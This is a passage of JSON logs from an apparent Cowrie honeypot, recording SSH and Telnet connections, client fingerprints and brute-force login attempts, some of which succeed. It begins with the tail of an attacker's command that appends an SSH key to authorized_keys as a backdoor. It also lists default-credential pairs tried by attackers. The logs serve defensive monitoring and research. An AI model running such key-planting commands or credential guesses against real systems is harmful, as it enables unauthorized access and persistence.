AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:14.350893Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:14.551777Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:14.555388Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.179.119.204","src_port":50548,"dst_ip":"10.17.0.5","dst_port":22,"session":"b58c25778bea","protocol":"ssh","message":"New connection: 121.179.119.204:50548 (10.17.0.5:22) [session: b58c25778bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:14.759357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:14.763841Z","src_ip":"121.179.119.204","session":"b58c25778bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:14.969065Z","src_ip":"121.179.119.204","session":"b58c25778bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:15.822570Z","src_ip":"121.179.119.204","session":"b58c25778bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:17.030667Z","src_ip":"121.179.119.204","session":"b58c25778bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.179.119.204","src_port":50552,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7e79e100289","protocol":"ssh","message":"New connection: 121.179.119.204:50552 (10.17.0.5:22) [session: c7e79e100289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:17.220699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:17.223358Z","src_ip":"121.179.119.204","session":"c7e79e100289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:17.423142Z","src_ip":"121.179.119.204","session":"c7e79e100289","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:18.251418Z","src_ip":"121.179.119.204","session":"c7e79e100289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34226,"dst_ip":"10.17.0.5","dst_port":22,"session":"971b8bc5f3b9","protocol":"ssh","message":"New connection: 2.57.122.210:34226 (10.17.0.5:22) [session: 971b8bc5f3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:18.326840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:18.332043Z","src_ip":"2.57.122.210","session":"971b8bc5f3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:18.436102Z","src_ip":"2.57.122.210","session":"971b8bc5f3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:18.453447Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:18.461544Z","src_ip":"121.179.119.204","session":"c7e79e100289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345","message":"login attempt [sol/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:18.747190Z","src_ip":"2.57.122.210","session":"971b8bc5f3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:19.853343Z","src_ip":"2.57.122.210","session":"971b8bc5f3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35766,"dst_ip":"159.203.135.109","dst_port":22,"session":"94956ce941ab","protocol":"ssh","message":"New connection: 195.178.110.218:35766 (159.203.135.109:22) [session: 94956ce941ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:24.330424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:24.337195Z","src_ip":"195.178.110.218","session":"94956ce941ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:24.416821Z","src_ip":"195.178.110.218","session":"94956ce941ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:24.654588Z","src_ip":"195.178.110.218","session":"94956ce941ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:25.736652Z","src_ip":"195.178.110.218","session":"94956ce941ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36938,"dst_ip":"10.17.0.5","dst_port":22,"session":"5842b295b3b3","protocol":"ssh","message":"New connection: 2.57.122.210:36938 (10.17.0.5:22) [session: 5842b295b3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:27.955629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:27.960829Z","src_ip":"2.57.122.210","session":"5842b295b3b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:28.061717Z","src_ip":"2.57.122.210","session":"5842b295b3b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:28.388685Z","src_ip":"2.57.122.210","session":"5842b295b3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:29.492482Z","src_ip":"2.57.122.210","session":"5842b295b3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":54414,"dst_ip":"10.17.0.5","dst_port":23,"session":"85931ec7efb6","protocol":"telnet","message":"New connection: 130.12.180.174:54414 (10.17.0.5:23) [session: 85931ec7efb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:46.813841Z"}
{"eventid":"cowrie.session.closed","duration":0.5010898113250732,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:47.314805Z","src_ip":"130.12.180.174","session":"85931ec7efb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58304,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f2b0b775e34","protocol":"ssh","message":"New connection: 195.178.110.218:58304 (159.203.135.109:22) [session: 7f2b0b775e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:57.782552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:57.787083Z","src_ip":"195.178.110.218","session":"7f2b0b775e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:57.867196Z","src_ip":"195.178.110.218","session":"7f2b0b775e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:58.107492Z","src_ip":"195.178.110.218","session":"7f2b0b775e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:40:59.190990Z","src_ip":"195.178.110.218","session":"7f2b0b775e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.107.16","src_port":34110,"dst_ip":"159.203.135.109","dst_port":22,"session":"f23e11bf1395","protocol":"ssh","message":"New connection: 43.162.107.16:34110 (159.203.135.109:22) [session: f23e11bf1395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:41:41.449216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:41:41.453571Z","src_ip":"43.162.107.16","session":"f23e11bf1395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:41:41.521076Z","src_ip":"43.162.107.16","session":"f23e11bf1395","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:41:41.728812Z","src_ip":"43.162.107.16","session":"f23e11bf1395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":39666,"dst_ip":"10.17.0.5","dst_port":22,"session":"53bbf9852bf5","protocol":"ssh","message":"New connection: 2.57.122.210:39666 (10.17.0.5:22) [session: 53bbf9852bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:41.023684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:41.027961Z","src_ip":"2.57.122.210","session":"53bbf9852bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 